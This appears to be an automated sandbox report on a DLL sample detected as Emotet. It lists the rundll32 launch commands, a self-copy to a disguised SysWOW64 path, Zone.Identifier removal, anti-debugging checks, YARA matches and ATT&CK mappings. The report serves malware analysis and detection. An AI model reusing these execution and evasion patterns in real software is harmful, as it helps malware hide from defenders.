Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",#1
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,axamexdrqyrgb
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,bhramccfbdd
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cyyah\ysrainvzaakh.dkv",pczodXjTBX
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 156 -p 5816 -ip 5816
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5816 -ip 5816
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,axamexdrqyrgb	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,bhramccfbdd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cyyah\ysrainvzaakh.dkv",pczodXjTBX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 156 -p 5816 -ip 5816	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5816 -ip 5816	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

Jump to behavior

Source: classification engine

Classification label: mal76.troj.evad.winDLL@35/8@0/30

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,Control_RunDLL

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:3376:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5796:64:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5752:120:WilError_01

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: 2gyA5uNl6VPQUA.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: 2gyA5uNl6VPQUA.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EC09153 push ecx; ret	1_2_6EC09166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2151C push ds; ret	4_2_02F21527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F2150F push ds; ret	4_2_02F21527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EC09153 push ecx; ret	4_2_6EC09166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3150F push ds; ret	8_2_02C31527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C3151C push ds; ret	8_2_02C31527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A150F push ds; ret	9_2_006A1527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006A151C push ds; ret	9_2_006A1527

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6EBEE4E0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

1_2_6EBEE4E0

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Cyyah\ysrainvzaakh.dkv

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

File opened: C:\Windows\SysWOW64\Cyyah\ysrainvzaakh.dkv:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EC02FE7 FindFirstFileExW,		1_2_6EC02FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EC02FE7 FindFirstFileExW,		4_2_6EC02FE7

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: svchost.exe, 00000000.00000002.717607985.000001E3F0829000.00000004.00000001.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6EC029E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6EC029E6

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6EBEE4E0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

1_2_6EBEE4E0

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6EBE1290 GetProcessHeap,HeapAlloc,HeapFree,

1_2_6EBE1290

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBFC050 mov eax, dword ptr fs:[00000030h]	1_2_6EBFC050
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBFBFE0 mov esi, dword ptr fs:[00000030h]	1_2_6EBFBFE0
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBFBFE0 mov eax, dword ptr fs:[00000030h]	1_2_6EBFBFE0
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EC012CB mov ecx, dword ptr fs:[00000030h]	1_2_6EC012CB
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EC0298C mov eax, dword ptr fs:[00000030h]	1_2_6EC0298C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02F34315 mov eax, dword ptr fs:[00000030h]	4_2_02F34315
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBFC050 mov eax, dword ptr fs:[00000030h]	4_2_6EBFC050
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBFBFE0 mov esi, dword ptr fs:[00000030h]	4_2_6EBFBFE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBFBFE0 mov eax, dword ptr fs:[00000030h]	4_2_6EBFBFE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EC012CB mov ecx, dword ptr fs:[00000030h]	4_2_6EC012CB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EC0298C mov eax, dword ptr fs:[00000030h]	4_2_6EC0298C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_02C44315 mov eax, dword ptr fs:[00000030h]	8_2_02C44315
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_006B4315 mov eax, dword ptr fs:[00000030h]	9_2_006B4315

Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBFCB22 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6EBFCB22
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EC029E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6EC029E6
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBFD1CC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6EBFD1CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBFCB22 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6EBFCB22
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EC029E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6EC029E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBFD1CC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6EBFD1CC

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",#1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 156 -p 5816 -ip 5816	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5816 -ip 5816	Jump to behavior

Source: loaddll32.exe, 00000001.00000000.678637446.00000000011B0000.00000002.00020000.sdmp, loaddll32.exe, 00000001.00000000.601565408.00000000011B0000.00000002.00020000.sdmp, loaddll32.exe, 00000001.00000000.611901245.00000000011B0000.00000002.00020000.sdmp, svchost.exe, 00000007.00000002.719032466.0000023832B90000.00000002.00020000.sdmp, rundll32.exe, 0000000F.00000002.719324096.0000000003380000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: loaddll32.exe, 00000001.00000000.678637446.00000000011B0000.00000002.00020000.sdmp, loaddll32.exe, 00000001.00000000.601565408.00000000011B0000.00000002.00020000.sdmp, loaddll32.exe, 00000001.00000000.611901245.00000000011B0000.00000002.00020000.sdmp, svchost.exe, 00000007.00000002.719032466.0000023832B90000.00000002.00020000.sdmp, rundll32.exe, 0000000F.00000002.719324096.0000000003380000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000001.00000000.678637446.00000000011B0000.00000002.00020000.sdmp, loaddll32.exe, 00000001.00000000.601565408.00000000011B0000.00000002.00020000.sdmp, loaddll32.exe, 00000001.00000000.611901245.00000000011B0000.00000002.00020000.sdmp, svchost.exe, 00000007.00000002.719032466.0000023832B90000.00000002.00020000.sdmp, rundll32.exe, 0000000F.00000002.719324096.0000000003380000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000001.00000000.678637446.00000000011B0000.00000002.00020000.sdmp, loaddll32.exe, 00000001.00000000.601565408.00000000011B0000.00000002.00020000.sdmp, loaddll32.exe, 00000001.00000000.611901245.00000000011B0000.00000002.00020000.sdmp, svchost.exe, 00000007.00000002.719032466.0000023832B90000.00000002.00020000.sdmp, rundll32.exe, 0000000F.00000002.719324096.0000000003380000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6EBFCC44 cpuid

1_2_6EBFCC44

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6EBFCE15 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_6EBFCE15

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 0000000A.00000002.717656426.000001BCDCC40000.00000004.00000001.sdmp	Binary or memory string: @V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000A.00000002.717871683.000001BCDCD02000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 1.2.loaddll32.exe.843b70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.6a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.30f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a3690.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.7c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.492098.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2d92098.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2c30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.843b70.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a3690.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2f20000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.30f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.6a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2d92098.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.7c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.492098.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.628861831.0000000002D7A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.662292442.00000000007C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.601509063.000000000083D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.602280537.000000000047A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.623586957.0000000002C30000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.602326812.00000000006A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.718738083.00000000007C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.564390758.0000000003019000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.602689535.00000000030F0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.610271162.00000000032A3000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.611809755.00000000007C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.611849506.000000000083D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719186470.000000000083D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.670664388.000000000083D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.601464399.00000000007C0000.00000040.00000010.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	Path Interception	Process Injection12	Masquerading21	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion1	Security Account Manager	Security Software Discovery51	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection12	NTDS	Virtualization/Sandbox Evasion1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Process Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Hidden Files and Directories1	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information2	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Rundll321	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	File Deletion1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
2gyA5uNl6VPQUA.dll	18%	Virustotal		Browse
2gyA5uNl6VPQUA.dll	26%	ReversingLabs	Win32.Trojan.Midie

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
9.2.rundll32.exe.6a0000.1.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
1.0.loaddll32.exe.7c0000.6.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
4.2.rundll32.exe.2f20000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
1.0.loaddll32.exe.7c0000.3.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
8.2.rundll32.exe.2c30000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
5.2.rundll32.exe.30f0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
1.0.loaddll32.exe.7c0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
1.2.loaddll32.exe.7c0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://dynamic.t	0%	URL Reputation	safe
http://www.bingmapsportal.comsv	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 00000002.00000003.327373065.000001B813E45000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000002.00000002.377109092.000001B813E3E000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000002.00000002.377109092.000001B813E3E000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000002.00000002.384606635.000001B813E69000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.308758027.000001B813E66000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 00000002.00000002.368206307.000001B813E13000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000002.00000002.377109092.000001B813E3E000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000002.00000003.327373065.000001B813E45000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Stops/	svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000002.00000003.325032729.000001B813E46000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.378807783.000001B813E47000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.318680681.000001B813E2C000.00000004.00000001.sdmp	false		high
